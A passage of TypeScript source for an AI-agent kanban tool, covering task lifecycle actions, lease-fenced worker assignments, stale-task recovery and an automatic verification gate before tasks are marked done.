}\n case 'add_task': {\n if (!input.boardId || !input.title) return fail('add_task requires boardId and title.');\n const result = await addTask(projectRoot, input.boardId, taskInput(input));\n if (!result) return fail('Board not found.');\n return okTask(\n result.board,\n result.task,\n `Task added.${atomicityNudge(result.task)}`,\n );\n }\n case 'split_task': {\n if (!input.boardId || !input.taskId || !input.childTitles?.length) {\n return fail('split_task requires boardId, taskId, and childTitles.');\n }\n return handleSplitTask(projectRoot, input, {});\n }\n case 'merge_tasks': {\n if (!input.boardId || !input.taskIds?.length || !input.title) {\n return fail('merge_tasks requires boardId, taskIds, and title.');\n }\n const result = await mergeTasks(projectRoot, input.boardId, {\n taskIds: input.taskIds,\n title: input.title,\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.targetColumnId !== undefined ? { targetColumnId: input.targetColumnId } : {}),\n ...(input.preserveAssignment !== undefined\n ? { preserveAssignment: input.preserveAssignment }\n : {}),\n ...(input.closeSourceTasks !== undefined\n ? { closeSourceTasks: input.closeSourceTasks }\n : {}),\n });\n return result\n ? okTask(result.board, result.task, 'Tasks merged.')\n : fail('Board or task not found.');\n }\n case 'copy_task': {\n if (!input.boardId || !input.taskId || !input.targetBoardId) {\n return fail('copy_task requires boardId, taskId, and targetBoardId.');\n }\n const result = await copyTaskToBoard(\n projectRoot,\n input.boardId,\n input.taskId,\n input.targetBoardId,\n {\n ...(input.targetColumnId !== undefined\n ? { targetColumnId: input.targetColumnId }\n : {}),\n ...(input.order !== undefined ? { targetOrder: input.order } : {}),\n ...(input.preserveAssignment !== undefined\n ? { preserveAssignment: input.preserveAssignment }\n : {}),\n ...(input.preserveDependencies !== undefined\n ? { preserveDependencies: input.preserveDependencies }\n : {}),\n },\n );\n return result\n ? okTask(result.targetBoard, result.task, 'Task copied to target board.')\n : fail('Board or task not found.');\n }\n case 'transfer_task': {\n if (!input.boardId || !input.taskId || !input.targetBoardId) {\n return fail('transfer_task requires boardId, taskId, and targetBoardId.');\n }\n const result = await transferTaskToBoard(\n projectRoot,\n input.boardId,\n input.taskId,\n input.targetBoardId,\n {\n ...(input.targetColumnId !== undefined\n ? { targetColumnId: input.targetColumnId }\n : {}),\n ...(input.order !== undefined ? { targetOrder: input.order } : {}),\n ...(input.preserveAssignment !== undefined\n ? { preserveAssignment: input.preserveAssignment }\n : {}),\n ...(input.preserveDependencies !== undefined\n ? { preserveDependencies: input.preserveDependencies }\n : {}),\n },\n );\n return result\n ? okTask(result.targetBoard, result.task, 'Task transferred to target board.')\n : fail('Board or task not found.');\n }\n case 'get_task': {\n if (!input.boardId || !input.taskId) return fail('get_task requires boardId and taskId.');\n const task = await getTask(projectRoot, input.boardId, input.taskId);\n return task ? { ok: true, message: 'Task loaded.', task } : fail('Task not found.');\n }\n case 'update_task': {\n if (!input.boardId || !input.taskId)\n return fail('update_task requires boardId and taskId.');\n const board = await updateTask(\n projectRoot,\n input.boardId,\n input.taskId,\n taskPatch(input),\n );\n return board ? okBoard(board, 'Task updated.') : fail('Task not found.');\n }\n case 'transition_task': {\n if (\n !input.boardId ||\n !input.taskId ||\n !input.lifecycleStage ||\n !input.author ||\n !input.transitionComment\n ) {\n return fail(\n 'transition_task requires boardId, taskId, lifecycleStage, author, and transitionComment.',\n );\n }\n // Pre-gate for Done: transitionTask's validateDoneEvidence trusts a\n // persisted verificationReport but never runs the verifier itself.\n // When the target is done and the task lacks a report, run the\n // verifier and persist report + refreshed criteria first so the\n // transition is judged on fresh evidence.\n if (input.lifecycleStage === 'done') {\n const boardBefore = await getBoard(projectRoot, input.boardId);\n const taskBefore = boardBefore\n ? await getTask(projectRoot, input.boardId, input.taskId)\n : null;\n if (\n boardBefore &&\n taskBefore &&\n !taskBefore.verificationReport &&\n (taskBefore.atomic || Boolean(taskBefore.successCriteria?.length))\n ) {\n const preGate = await verifyTaskCompletion(projectRoot, input.boardId, taskBefore.id, {\n persist: false,\n });\n await updateTask(projectRoot, input.boardId, taskBefore.id, {\n verificationReport: preGate.report,\n successCriteria: preGate.task.successCriteria,\n });\n }\n }\n const result = await transitionTask(projectRoot, input.boardId, input.taskId, {\n to: input.lifecycleStage,\n actor: input.author,\n comment: input.transitionComment,\n ...(input.transitionAction !== undefined\n ? { action: input.transitionAction }\n : {}),\n ...(input.attachmentUrl !== undefined\n ? {\n attachment: {\n url: input.attachmentUrl,\n type: input.attachmentType ?? 'url',\n ...(input.attachmentTitle !== undefined\n ? { title: input.attachmentTitle }\n : {}),\n },\n }\n : {}),\n patch: taskPatch(input),\n });\n if (result && input.lifecycleStage === 'done' && result.task.verificationReport) {\n recordKanbanVerificationEvidence(ctx, result.task.verificationReport);\n }\n return result\n ? okTask(result.board, result.task, `Task advanced to ${result.transition.to}.`)\n : fail('Board or task not found.');\n }\n case 'repair_managed_projection': {\n if (!input.boardId || !input.taskId || !input.author || !input.transitionComment) {\n return fail(\n 'repair_managed_projection requires boardId, taskId, author, and transitionComment.',\n );\n }\n const result = await repairManagedTaskProjection(projectRoot, input.boardId, input.taskId, {\n actor: input.author,\n comment: input.transitionComment,\n });\n return result\n ? okTask(result.board, result.task, 'Managed card projection repaired from lifecycle history.')\n : fail('Board or task not found.');\n }\n case 'move_task': {\n if (!input.boardId || !input.taskId || !input.targetColumnId) {\n return fail('move_task requires boardId, taskId, and targetColumnId.');\n }\n const board = await moveTask(\n projectRoot,\n input.boardId,\n input.taskId,\n input.targetColumnId,\n input.order,\n );\n return board ? okBoard(board, 'Task moved.') : fail('Move failed.');\n }\n case 'delete_task': {\n if (!input.boardId || !input.taskId)\n return fail('delete_task requires boardId and taskId.');\n const board = await removeTask(projectRoot, input.boardId, input.taskId);\n return board ? okBoard(board, 'Task deleted.') : fail('Task not found.');\n }\n case 'set_chain': {\n if (!input.boardId || !input.taskIds?.length) {\n return fail('set_chain requires boardId and taskIds.');\n }\n const result = await setTaskChain(projectRoot, input.boardId, {\n taskIds: input.taskIds,\n ...(input.chainId !== undefined ? { chainId: input.chainId } : {}),\n ...(input.enforceDependencies !== undefined\n ? { enforceDependencies: input.enforceDependencies }\n : {}),\n });\n return result\n ? {\n ok: true,\n message: `Chain set: ${result.chainId}`,\n board: result.board,\n chain: result.tasks,\n }\n : fail('Board or task not found.');\n }\n case 'get_chain': {\n if (!input.boardId || !(input.taskId || input.chainId)) {\n return fail('get_chain requires boardId and taskId or chainId.');\n }\n const result = await getTaskChain(\n projectRoot,\n input.boardId,\n input.taskId ?? input.chainId ?? '',\n );\n return result\n ? {\n ok: true,\n message: `Chain loaded: ${result.chainId}`,\n board: result.board,\n chain: result.tasks,\n }\n : fail('Chain not found.');\n }\n case 'claim_task': {\n const result = await claimReadyTask(projectRoot, {\n ...(input.boardId !== undefined ? { boardId: input.boardId } : {}),\n ...(input.taskId !== undefined ? { taskId: input.taskId } : {}),\n ...assignmentInput(input),\n status: input.assignmentStatus ?? 'queued',\n });\n return result\n ? okTask(result.board, result.task, 'Task claimed.')\n : fail('No ready kanban task matched the claim.');\n }\n case 'release_task': {\n if (!input.boardId || !input.taskId) {\n return fail('release_task requires boardId and taskId.');\n }\n const board = await releaseTaskClaim(projectRoot, input.boardId, input.taskId, {\n ...(input.releaseStatus !== undefined ? { status: input.releaseStatus } : {}),\n ...(input.releaseReason !== undefined ? { reason: input.releaseReason } : {}),\n ...(input.clearAssignee !== undefined ? { clearAssignee: input.clearAssignee } : {}),\n });\n return board ? okBoard(board, 'Task claim released.') : fail('Task not found.');\n }\n case 'assign_task': {\n if (!input.boardId || !input.taskId)\n return fail('assign_task requires boardId and taskId.');\n const board = await assignTask(\n projectRoot,\n input.boardId,\n input.taskId,\n assignmentInput(input),\n );\n return board ? okBoard(board, 'Task assigned.') : fail('Task not found.');\n }\n case 'mark_assignment': {\n if (!input.boardId || !input.taskId)\n return fail('mark_assignment requires boardId and taskId.');\n const assignmentStatus =\n input.assignmentStatus ??\n (input.status === 'completed' ? 'completed' : input.error ? 'failed' : undefined);\n const board = await updateTaskAssignment(\n projectRoot,\n input.boardId,\n input.taskId,\n {\n ...(assignmentStatus !== undefined ? { status: assignmentStatus } : {}),\n ...(input.subagentId !== undefined ? { subagentId: input.subagentId } : {}),\n ...(input.runTaskId !== undefined ? { runTaskId: input.runTaskId } : {}),\n ...(input.lastResult !== undefined ? { lastResult: input.lastResult } : {}),\n ...(input.error !== undefined ? { error: input.error } : {}),\n ...(input.agentId !== undefined ? { agentId: input.agentId } : {}),\n ...(input.leaseId !== undefined ? { leaseId: input.leaseId } : {}),\n ...(input.claimedAt !== undefined ? { claimedAt: input.claimedAt } : {}),\n ...(input.heartbeatAt !== undefined ? { heartbeatAt: input.heartbeatAt } : {}),\n ...(input.leaseExpiresAt !== undefined ? { leaseExpiresAt: input.leaseExpiresAt } : {}),\n ...(input.attempt !== undefined ? { attempt: input.attempt } : {}),\n ...(input.maxAttempts !== undefined ? { maxAttempts: input.maxAttempts } : {}),\n },\n // Ownership fence: when expectedLeaseId is supplied, the write is\n // applied only if the current assignment still holds this lease.\n // This prevents a recovered+reassigned stale worker's terminal\n // mark_assignment from overwriting the successor's state. The check\n // is atomic inside updateTaskAssignment's mutateBoard lock.\n input.expectedLeaseId !== undefined\n ? { expectedLeaseId: input.expectedLeaseId }\n : {},\n );\n if (!board) return fail('Task not found.');\n // Universal completion gate: a completed assignment was parked in\n // review by updateTaskAssignment; finalize runs the verifier and\n // applies the final status (async \u2014 cannot happen inside the board\n // mutation). Env fallback applies only when the board carries no\n // explicit completionGate policy; the kanban package never reads env.\n if (assignmentStatus === 'completed' && board.lifecycle?.mode !== 'managed') {\n const envGate = readEnvGateEnforcement();\n const finalized = await finalizeTaskCompletion(projectRoot, board.id, input.taskId, {\n ...(board.completionGate === undefined && envGate !== undefined\n ? { enforcement: envGate }\n : {}),\n ...(ctx.agentId !== undefined ? { eventContext: { actor: ctx.agentId } } : {}),\n });\n if (finalized) {\n if (finalized.gate.report) {\n recordKanbanVerificationEvidence(ctx, finalized.gate.report);\n }\n const gateSummary = {\n enforcement: finalized.gate.enforcement,\n allowed: finalized.gate.allowed,\n verdict: finalized.gate.verdict,\n issues: finalized.gate.issues.map((issue) => issue.message),\n };\n const gateMessage = finalized.gate.allowed\n ? `Completion gate ${finalized.gate.verdict === 'skipped' ? 'skipped' : 'passed'}; task completed.`\n : finalized.gate.enforcement === 'strict'\n ? `Completion gate BLOCKED (verdict: ${finalized.gate.verdict}); task parked in review. Issues: ${gateSummary.issues.join(' | ')}`\n : `Completion gate failed softly (verdict: ${finalized.gate.verdict}); task completed with warnings. Issues: ${gateSummary.issues.join(' | ')}`;\n return {\n ...okTask(finalized.board, finalized.task, `Assignment updated. ${gateMessage}`),\n gate: gateSummary,\n };\n }\n } else if (board.lifecycle?.mode === 'managed') {\n // \u2500\u2500 Managed lifecycle auto-transition \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // The worker's assignment status changes represent lifecycle\n // events. transitionTask atomically persists audit history,\n // evidence, and the correct column/status projection. The\n // assignment telemetry was already persisted by\n // updateTaskAssignment above; this separate domain call\n // advances the card without violating the invariant that\n // assignment writes never fabricate lifecycle stages.\n //\n // When completed transitions to Review, verification runs\n // automatically and \u2014 if the verdict is passed/skipped \u2014 the\n // card auto-advances to Done without human intervention.\n // ------------------------------------------------------------\n const managedTask = board.tasks.find(\n (candidate) => candidate.id === input.taskId,\n );\n const stage = managedTask?.lifecycle?.currentStage;\n const actor = ctx.agentId ?? 'kanban-agent';\n let transitionResult: Awaited<ReturnType<typeof transitionTask>> = null;\n const lifecycleWarnings: string[] = [];\n\n if (assignmentStatus === 'running' && stage === 'todo') {\n try {\n transitionResult = await transitionTask(\n projectRoot,\n board.id,\n input.taskId,\n { to: 'running', actor, comment: 'Work started.' },\n );\n } catch (err: unknown) {\n lifecycleWarnings.push(\n `Lifecycle transition to Running deferred: ${err instanceof Error ? err.message : String(err)}`,\n );\n }\n }\n if (assignmentStatus === 'completed' && stage === 'running') {\n // \u2500\u2500 Running \u2192 Review \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const comment =\n typeof input.lastResult === 'string' &&\n input.lastResult.trim().length > 0\n ? input.lastResult.trim().slice(0, 1000)\n : 'Work completed.';\n try {\n transitionResult = await transitionTask(\n projectRoot,\n board.id,\n input.taskId,\n {\n to: 'review',\n actor,\n comment,\n attachment: {\n url: `kanban://task/${input.taskId}/result`,\n title: 'Worker completion result',\n type: 'file',\n },\n patch: {\n // Only patch non-description fields so the\n // original card description is preserved.\n ...(input.agentId !== undefined\n ? { assignedAgent: input.agentId }\n : {}),\n },\n },\n );\n } catch (err: unknown) {\n lifecycleWarnings.push(\n `Lifecycle transition to Review failed: ${err instanceof Error ? err.message : String(err)}`,\n );\n }\n\n // \u2500\u2500 Autonomous verify + accept \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // Card is now in Review. When it has verifiable criteria\n // or is atomic, the system runs the verifier automatically\n // and \u2014 if the verdict allows \u2014 advances to Done.\n if (transitionResult) {\n const hasCriteria =\n (transitionResult.task.successCriteria?.length ?? 0) > 0 ||\n transitionResult.task.atomic === true;\n\n if (hasCriteria) {\n try {\n const verResult = await verifyTaskCompletion(\n projectRoot,\n board.id,\n input.taskId,\n );\n if (verResult.report) {\n recordKanbanVerificationEvidence(ctx, verResult.report);\n }\n\n const verdict = verResult.report.verdict;\n if (verdict === 'passed') {\n try {\n const doneResult = await transitionTask(\n projectRoot,\n board.id,\n input.taskId,\n {\n to: 'done',\n actor,\n comment: 'Auto-accepted: verification passed.',\n attachment: {\n url: `kanban://task/${input.taskId}/verification`,\n title: 'Auto-verification result',\n type: 'file',\n },\n },\n );\n transitionResult = doneResult;\n } catch (acceptErr: unknown) {\n lifecycleWarnings.push(\n `Auto-accept to Done deferred: ${acceptErr instanceof Error ? acceptErr.message : String(acceptErr)}`,\n );\n }\n } else {\n lifecycleWarnings.push(\n `Verification verdict: ${verdict} \u2014 card left in Review for manual acceptance.`,\n );\n }\n } catch (verifyErr: unknown) {\n lifecycleWarnings.push(\n `Auto-verification error: ${verifyErr instanceof Error ? verifyErr.message : String(verifyErr)}`,\n );\n }\n } else {\n lifecycleWarnings.push(\n 'No automatic success criteria \u2014 card left in Review for manual verification.',\n );\n }\n }\n }\n\n // \u2500\u2500 Build the freshest possible response \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // transitionResult carries the post-transition board; use\n // it instead of the stale snapshot from updateTaskAssignment.\n const responseBoard = transitionResult?.board ?? board;\n const responseTask =\n transitionResult?.task ?? managedTask!;\n const msgParts = ['Assignment updated.'];\n if (transitionResult) {\n msgParts.push(`Card advanced to ${transitionResult.transition.to}.`);\n }\n for (const w of lifecycleWarnings) msgParts.push(`Warning: ${w}`);\n return okTask(responseBoard, responseTask, msgParts.join(' '));\n }\n return okBoard(board, 'Assignment updated.');\n }\n case 'heartbeat_assignment': {\n if (!input.boardId || !input.taskId) {\n return fail('heartbeat_assignment requires boardId and taskId.');\n }\n const board = await heartbeatTaskAssignment(projectRoot, input.boardId, input.taskId, {\n ...(input.heartbeatAt !== undefined ? { heartbeatAt: input.heartbeatAt } : {}),\n ...(input.leaseExpiresAt !== undefined ? { leaseExpiresAt: input.leaseExpiresAt } : {}),\n // Ownership fence: when expectedLeaseId is supplied, the renewal\n // is applied only if the current assignment still holds this lease.\n // This prevents a recovered+reassigned stale worker's heartbeat\n // from renewing the successor's lease. The check is atomic inside\n // heartbeatTaskAssignment's mutateBoard lock.\n ...(input.expectedLeaseId !== undefined\n ? { expectedLeaseId: input.expectedLeaseId }\n : {}),\n });\n return board\n ? okBoard(board, 'Assignment heartbeat updated.')\n : fail('Task assignment not found.');\n }\n case 'recover_stale': {\n if (!input.boardId) return fail('recover_stale requires boardId.');\n const policyFields = [\n input.recoveryPolicyFailOnCostCeiling !== undefined,\n input.recoveryPolicyReleaseOnFailureKinds !== undefined,\n input.recoveryPolicyReleaseOnHeartbeatDue !== undefined,\n input.recoveryPolicyRetryPolicyOverride !== undefined,\n ].some(Boolean);\n const result = await recoverStaleTaskAssignments(projectRoot, input.boardId, {\n ...(input.recoveryMode !== undefined ? { mode: input.recoveryMode } : {}),\n ...(input.recoveryNow !== undefined ? { now: input.recoveryNow } : {}),\n ...(input.releaseReason !== undefined ? { reason: input.releaseReason } : {}),\n ...(input.clearAssignee !== undefined ? { clearAssignee: input.clearAssignee } : {}),\n ...(policyFields\n ? {\n policy: {\n ...(input.recoveryPolicyFailOnCostCeiling !== undefined\n ? { failWhenCostCeilingSet: input.recoveryPolicyFailOnCostCeiling }\n : {}),\n ...(input.recoveryPolicyReleaseOnFailureKinds !== undefined\n ? {\n releaseOnFailureKinds: input.recoveryPolicyReleaseOnFailureKinds,\n }\n : {}),\n ...(input.recoveryPolicyReleaseOnHeartbeatDue !== undefined\n ? {\n releaseOnHeartbeatDue: input.recoveryPolicyReleaseOnHeartbeatDue,\n }\n : {}),\n ...(input.recoveryPolicyRetryPolicyOverride !== undefined\n ? {\n retryPolicyOverride: input.recoveryPolicyRetryPolicyOverride,\n }\n : {}),\n },\n }\n : {}),\n });\n return result\n ? {\n ok: true,\n message: `Recovered ${result.tasks.length} stale assignment(s).`,\n board: result.board,\n recoveredTasks: result.tasks,\n }\n : { ok: true, message: 'No stale assignment matched.', recoveredTasks: [] };\n }\n case 'events': {\n if (!input.boardId) return fail('events requires boardId.');\n const eventList = await listKanbanEvents(projectRoot, input.boardId);\n return {\n ok: true,\n message: `${eventList.length} event(s).`,\n events: eventList,\n };\n }\n case 'queue_health': {\n const health = await getKanbanQueueHealth(projectRoot, {\n ...(input.boardId !== undefined ? { boardId: input.boardId } : {}),\n });\n return {\n ok: true,\n message: `Counts: ready=${health.counts.ready}, running=${health.counts.running}, stale=${health.staleAssignments.count}.`,\n queueHealth: health,\n };\n }\n default:\n {\n const detailResult = await handleKanbanDetailAction(projectRoot, input);\n if (detailResult !== undefined) return detailResult;\n }\n return fail(`Unknown kanban action: ${(input as { action: string }).action}`);\n }\n })();\n return withPresence(result);\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n },\n};\n", "/**\n * Kanban \u2192 completed-work ledger bridge.\n *\n * Links the two evidence systems: when a task's verification report is\n * produced (verify_completion, the completion gate via mark_assignment, or a\n * managed Done transition), the session's completed-work ledger gets an entry\n * pointing back at the report. The kanban package cannot do this itself \u2014 it\n * has zero core dependency \u2014 so the bridge lives here in tools, which owns\n * both sides.\n *\n * Best-effort by contract: a ledger failure must never turn a successful\n * board mutation into an apparent task failure.\n */\n\nimport type { Context } from '@wrongstack/core/agent';\nimport { recordCompletedWorkEvidence } from '@wrongstack/core/utils';\nimport type { KanbanVerificationReport } from '@wrongstack/kanban';\n\n/** Stable dedupe key \u2014 re-verifying the same task updates the entry in place. */\nexport function kanbanEvidenceKey(boardId: string, taskId: string): string {\n return `kanban:${boardId}:${taskId}`;\n}\n\n/** Parseable deep-link pointer to the persisted report. */\nexport function kanbanEvidencePointer(boardId: string, taskId: string): string {\n return `kanban://${boardId}/${taskId}#verificationReport`;\n}\n\nexport function recordKanbanVerificationEvidence(\n ctx: Context,\n report: KanbanVerificationReport,\n): void {\n try {\n const passed = report.checks.filter((check) => check.status === 'passed').length;\n const completedAt = Date.parse(report.completedAt);\n recordCompletedWorkEvidence(ctx, {\n key: kanbanEvidenceKey(report.boardId, report.taskId),\n source: 'verification',\n summary: `${report.taskTitle} \u2014 verification ${report.verdict} (${passed}/${report.checks.length} checks)`,\n ...(Number.isFinite(completedAt) ? { completedAt } : {}),\n evidence: kanbanEvidencePointer(report.boardId, report.taskId),\n });\n } catch {\n // Evidence is observational; never fail the caller.\n }\n}\n", "import type { Context } from '@wrongstack/core/agent';\nimport type { KanbanTask } from '@wrongstack/kanban';\nimport {\n assessTaskAtomicity,\n proposeTaskDecomposition,\n updateTask,\n verifyTaskCompletion,\n} from '@wrongstack/kanban';\nimport { recordKanbanVerificationEvidence } from './kanban-evidence-bridge.js';\nimport { fail, okTask } from './kanban-tool-results.js';\nimport type { KanbanToolInput, KanbanToolOutput } from './kanban-tool-types.js';\n\nexport async function handleKanbanDecompositionAction(\n projectRoot: string,\n input: KanbanToolInput,\n ctx: Context,\n): Promise<KanbanToolOutput | undefined> {\n switch (input.action) {\n case 'assess_atomicity': {\n if (!input.boardId || !input.taskId) {\n return fail('assess_atomicity requires boardId and taskId.');\n }\n const result = await assessTaskAtomicity(projectRoot, input.boardId, input.taskId, {\n assessedBy: 'agent',\n ...(ctx.agentId !== undefined ? { eventContext: { actor: ctx.agentId } } : {}),\n });\n if (!result) return fail('Task not found.');\n const failing = result.assessment.criteria\n .filter((entry) => entry.score < 1)\n .map((entry) => entry.reason);\n const guidance =\n result.assessment.verdict === 'needs_decomposition'\n ? ` This task should be split before dispatch \u2014 call propose_decomposition with 2+ subtasks (each with one verifiable success criterion). Reasons: ${failing.join(' | ')}`\n : result.assessment.verdict === 'composite'\n ? ' Container task: work happens in its children; it is verified via subtask aggregation.'\n : '';\n return okTask(\n result.board,\n result.task,\n `Atomicity verdict: ${result.assessment.verdict} (score ${result.assessment.score}).${guidance}`,\n );\n }\n case 'propose_decomposition': {\n if (!input.boardId || !input.taskId || !input.subtasks?.length) {\n return fail('propose_decomposition requires boardId, taskId, and subtasks (2+).');\n }\n if (input.subtasks.length < 2) {\n return fail('propose_decomposition requires at least two subtasks.');\n }\n const invalid = input.subtasks.find(\n (subtask) => typeof subtask?.title !== 'string' || !subtask.title.trim(),\n );\n if (invalid) return fail('Every proposed subtask needs a non-blank title.');\n const result = await proposeTaskDecomposition(\n projectRoot,\n input.boardId,\n input.taskId,\n {\n subtasks: input.subtasks,\n ...(input.note !== undefined ? { rationale: input.note } : {}),\n ...(ctx.agentId !== undefined ? { proposedBy: ctx.agentId } : {}),\n },\n ctx.agentId !== undefined ? { actor: ctx.agentId } : {},\n );\n if (!result) return fail('Task not found.');\n const message =\n result.proposal.status === 'applied'\n ? `Decomposition applied: ${result.proposal.appliedChildTaskIds?.length ?? 0} child tasks created (parent marked atomic).`\n : 'Decomposition proposal recorded \u2014 awaiting approval (board policy is \"propose\"). It can be approved from the WebUI or via update_task.';\n return okTask(result.board, result.task, message);\n }\n case 'verify_completion': {\n if (!input.boardId || !input.taskId) {\n return fail('verify_completion requires boardId and taskId.');\n }\n const verResult = await verifyTaskCompletion(projectRoot, input.boardId, input.taskId);\n const persistedBoard = await updateTask(projectRoot, input.boardId, input.taskId, {\n verificationReport: verResult.report,\n successCriteria: verResult.task.successCriteria,\n });\n if (!persistedBoard) {\n return {\n ok: false,\n verdict: verResult.report.verdict,\n message:\n `Verification succeeded but persist failed: ${verResult.report.markdownSummary}. ` +\n `Board may be stale \u2014 re-run verify_completion.`,\n board: verResult.board,\n };\n }\n recordKanbanVerificationEvidence(ctx, verResult.report);\n const freshTask = persistedBoard.tasks?.find((t: KanbanTask) => t.id === input.taskId);\n const deterministicVerdicts = ['passed', 'failed', 'needs_human', 'incomplete'] as const;\n return {\n ok: deterministicVerdicts.includes(\n verResult.report.verdict as (typeof deterministicVerdicts)[number],\n ),\n verdict: verResult.report.verdict,\n message: verResult.report.markdownSummary,\n board: persistedBoard,\n task: freshTask ?? verResult.task,\n };\n }\n default:\n return undefined;\n }\n}\n", "import type {\n KanbanBoard,\n KanbanCompletionGateEnforcement,\n KanbanTask,\n} from '@wrongstack/kanban';\nimport type { KanbanToolOutput } from './kanban-tool-types.js';\n\n/** One-line guidance appended when a freshly created task should be split. */\nexport function atomicityNudge(task: KanbanTask): string {\n if (task.atomicityAssessment?.verdict !== 'needs_decomposition') return '';\n const reasons = task.atomicityAssessment.criteria\n .filter((entry) => entry.score < 1)\n .map((entry) => entry.reason)\n .join(' | ');\n return ` Atomicity: needs_decomposition (score ${task.atomicityAssessment.score}) \u2014 call propose_decomposition with 2+ subtasks before dispatch. Reasons: ${reasons}`;\n}\n\n/**\n * Host-level completion-gate fallback. The kanban package stays env-free;\n * only hosting surfaces (tools, webui-server) read WRONGSTACK_KANBAN_GATE,\n * and only when the board carries no explicit completionGate policy.\n */\nexport function readEnvGateEnforcement(): KanbanCompletionGateEnforcement | undefined {\n const raw = process.env['WRONGSTACK_KANBAN_GATE']?.trim().toLowerCase();\n return raw === 'strict' || raw === 'soft' || raw === 'off' ? raw : undefined;\n}\n\nexport function fail(message: string): KanbanToolOutput {\n return { ok: false, message };\n}\n\nexport function okBoard(board: KanbanBoard, message = 'Board loaded.'): KanbanToolOutput {\n return { ok: true, message, board };\n}\n\nexport function okTask(board: KanbanBoard, task: KanbanTask, message: string): KanbanToolOutput {\n return { ok: true, message, board, task };\n}\n", "import {\n addCheckToTask,\n addDependency,\n addGoalMetricToTask,\n addLinkToTask,\n addNoteToTask,\n updateCheckOnTask,\n updateGoalMetricOnTask,\n} from '@wrongstack/kanban';\nimport { fail, okBoard } from './kanban-tool-results.js';\nimport { handleSplitTask } from './kanban-split-task-handler.js';\nimport type { KanbanToolInput, KanbanToolOutput } from './kanban-tool-types.js';\n\nexport async function handleKanbanDetailAction(\n projectRoot: string,\n input: KanbanToolInput,\n): Promise<KanbanToolOutput | undefined> {\n switch (input.action) {\n case 'add_dependency': {\n if (!input.boardId || !input.taskId || !input.dependencyTaskId) {\n return fail('add_dependency requires boardId, taskId, and dependencyTaskId.');\n }\n const board = await addDependency(\n projectRoot,\n input.boardId,\n input.taskId,\n input.dependencyTaskId,\n );\n return board ? okBoard(board, 'Dependency added.') : fail('Task not found.');\n }\n case 'add_goal_metric': {\n if (!input.boardId || !input.taskId || !input.metricName) {\n return fail('add_goal_metric requires boardId, taskId, and metricName.');\n }\n const board = await addGoalMetricToTask(projectRoot, input.boardId, input.taskId, {\n name: input.metricName,\n ...(input.metricStatus !== undefined ? { status: input.metricStatus } : {}),\n ...(input.metricTarget !== undefined ? { target: input.metricTarget } : {}),\n ...(input.metricCurrent !== undefined ? { current: input.metricCurrent } : {}),\n ...(input.metricUnit !== undefined ? { unit: input.metricUnit } : {}),\n ...(input.metricNotes !== undefined ? { notes: input.metricNotes } : {}),\n });\n return board ? okBoard(board, 'Goal metric added.') : fail('Task not found.');\n }\n case 'update_goal_metric': {\n if (!input.boardId || !input.taskId || !input.metricId) {\n return fail('update_goal_metric requires boardId, taskId, and metricId.');\n }\n const board = await updateGoalMetricOnTask(\n projectRoot,\n input.boardId,\n input.taskId,\n input.metricId,\n {\n ...(input.metricName !== undefined ? { name: input.metricName } : {}),\n ...(input.metricStatus !== undefined ? { status: input.metricStatus } : {}),\n ...(input.metricTarget !== undefined ? { target: input.metricTarget } : {}),\n ...(input.metricCurrent !== undefined ? { current: input.metricCurrent } : {}),\n ...(input.metricUnit !== undefined ? { unit: input.metricUnit } : {}),\n ...(input.metricNotes !== undefined ? { notes: input.metricNotes } : {}),\n },\n );\n return board ? okBoard(board, 'Goal metric updated.') : fail('Metric not found.');\n }\n case 'add_check': {\n if (!input.boardId || !input.taskId || !input.checkDescription) {\n return fail('add_check requires boardId, taskId, and checkDescription.');\n }\n const board = await addCheckToTask(projectRoot, input.boardId, input.taskId, {\n description: input.checkDescription,\n type: 'manual',\n status: input.checkStatus,\n });\n return board ? okBoard(board, 'Check added.') : fail('Task not found.');\n }\n case 'update_check': {\n if (!input.boardId || !input.taskId || !input.checkId) {\n return fail('update_check requires boardId, taskId, and checkId.');\n }\n const board = await updateCheckOnTask(\n projectRoot,\n input.boardId,\n input.taskId,\n input.checkId,\n {\n ...(input.checkDescription !== undefined ? { description: input.checkDescription } : {}),\n ...(input.checkStatus !== undefined ? { status: input.checkStatus } : {}),\n },\n );\n return board ? okBoard(board, 'Check updated.') : fail('Check not found.');\n }\n case 'add_note': {\n if (!input.boardId || !input.taskId || !input.note)\n return fail('add_note requires boardId, taskId, and note.');\n const board = await addNoteToTask(projectRoot, input.boardId, input.taskId, {\n author: input.author ?? 'agent',\n content: input.note,\n });\n return board ? okBoard(board, 'Note added.') : fail('Task not found.');\n }\n case 'add_link': {\n if (!input.boardId || !input.taskId || !input.url)\n return fail('add_link requires boardId, taskId, and url.');\n const board = await addLinkToTask(projectRoot, input.boardId, input.taskId, {\n url: input.url,\n type: input.linkType ?? 'url',\n ...(input.linkTitle !== undefined ? { title: input.linkTitle } : {}),\n });\n return board ? okBoard(board, 'Link added.') : fail('Task not found.');\n }\n case 'split_atomic': {\n if (!input.boardId || !input.taskId || !input.childTitles?.length) {\n return fail('split_atomic requires boardId, taskId, and childTitles (at least one).');\n }\n return handleSplitTask(projectRoot, input, { atomic: true });\n }\n default:\n return undefined;\n }\n}\n", "import type { KanbanBoard, KanbanTask } from '@wrongstack/kanban';\nimport { getBoard, splitTask } from '@wrongstack/kanban';\nimport { fail } from './kanban-tool-results.js';\nimport type { KanbanToolInput, KanbanToolOutput } from './kanban-tool-types.js';\n\n/** Shared split handler used by both split_task and split_atomic. */\nexport async function handleSplitTask(\n projectRoot: string,\n input: KanbanToolInput,\n extraSplitOptions: Record<string, unknown>,\n): Promise<KanbanToolOutput> {\n const boardId = input.boardId;\n const taskId = input.taskId;\n const childTitles = input.childTitles;\n if (!boardId || !taskId || !childTitles?.length) {\n return fail('split requires boardId, taskId, and at least one childTitles.');\n 